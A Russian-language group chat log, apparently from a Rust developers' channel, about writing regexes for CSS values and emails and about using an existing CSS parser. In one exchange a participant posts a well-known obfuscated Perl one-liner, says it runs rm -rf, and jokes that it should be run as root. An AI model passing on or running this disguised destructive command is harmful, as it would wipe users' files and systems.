Kyrylo 🇺🇦🇺🇦🇺🇦
curl --data?
А чтобы комплить при этом и выдавать аутпут
Kyrylo 🇺🇦🇺🇦🇺🇦
Anton
Посоны
Anton
спосите
Anton
помогите составить регэксп
Anton
у меня есть 3 вида строк: "10px" - собсна число и пиксели "10%" - процентики "auto"
Anton
знаю тупейшая по идее задачка
Anton
но у меня жестокая затупа всегда с макросами, к тому же тут они какие то странные
Anton
(auto|\d+px|\d+%)
спосибо огромное
Anton
щас попробуем
Berkus
Это можно и нужно без регекспа парсить
ну вообще парсер для этого уже есть в stylo
Berkus
где-то даже статья была
պլհկ
Он не хочет стило, он хочет велосипед
Berkus
я понимаю, но код уже написан там, можно хотя бы посмотреть на
Anton
регекспами такое медленно
Судзумия
помогите составить регэксп
Тебе не нужен регэксп
պլհկ
я понимаю, но код уже написан там, можно хотя бы посмотреть на
Ну по-моему это бред и хотя бы на начальных этапах надо по-максимуму использовать готовое, потому что там работы на годы, если нормально все делать
Судзумия
любым парсер комбинатором распарсь
Anton
ом-ном-ном
Αλεχ
любым парсер комбинатором распарсь
Здравствуйте. Меня зовут Алексей. Я занимаюсь парсингом емейлов регулярками
Cat
.+@.+
Αλεχ
да
Cat
для парсинга имейлов
Αλεχ
не, там вроде сложнее
Αλεχ
^.+@.+?\..+$
Αλεχ
во теперь норм
Cat
^.+@.+?\..+$
точка не обязательна /зануда
Great
Привет Алексей, это нормально *аплодисменты*
Anton
root@localhost
Anton
во вторых css-parser это огромная залупа
Αλεχ
точка не обязательна /зануда
мне казалось домен обязан быть
Αλεχ
я не помню ужо
Anton
из которой только адаптации базовые будут даже больше чем мои текущие наработки
Anton
в третих чем меньше зависимостей тем лучше, если кому надо будет шоб прям все было css напишет свой мидлварь для парсера
Anton
о не проблема
Cat
^.+@.+?\..+$
> .+? вот это ты зряяя
պլհկ
Anton
впочем то что у меня парсер десереализатор на 500 строк меня чуть чуть беспокоит
Anton
конечно это просто репрезентации и имплементоры конверторы
Anton
и все же
Денис
да пофиг ваще регэкспы/ещё как, потом производительность поправим
Dmitriy
Э не
Dmitriy
(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])
Денис
там у тапка кагбе совсем не такой регэксп
Денис
прям вот вообще
Dmitriy
Это рфцшный)
Денис
а, это вы всё про имейл
Денис
я угадал?
Dmitriy
Не
Денис
:(
Dmitriy
Хинт, если там нет x флага
Dmitriy
И нет y/// или tr/// — регулярка безопасна
Денис
why so serious
Денис
давай просто всё удалим после моего "угадал" и ты напишешь "да"?)
Dmitriy
Вот это вот известное говно ХУЯРИТ rm -rf echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Dmitriy
Так что запускать от рута
Dmitriy
Вам поменять?)
Денис
а не каких-то там человеков непонятных
Anton
да пофиг ваще регэкспы/ещё как, потом производительность поправим
не в производительности дело, а в тысяче аннотаций к полям
Anton
по идее думаю там как то сократить потом можно будет
Anton
но пока не знаю как, сделаю как есть чтоб точно работало все как надо
Денис
сердовские аннотации-то?
Anton
потом отдельно сделаю рефакторинг, ибо у стилей этот вид будет конечной версией
Денис
да я тоже считаю это уже чисто дело техники
Денис
контрибьютеры запилят)
Anton
ага, поэтому концентрируюсь на функционале
Alexey
Либо бокс либо ссылка
так как бокс и есть ссылка, но на кучу, а не на стек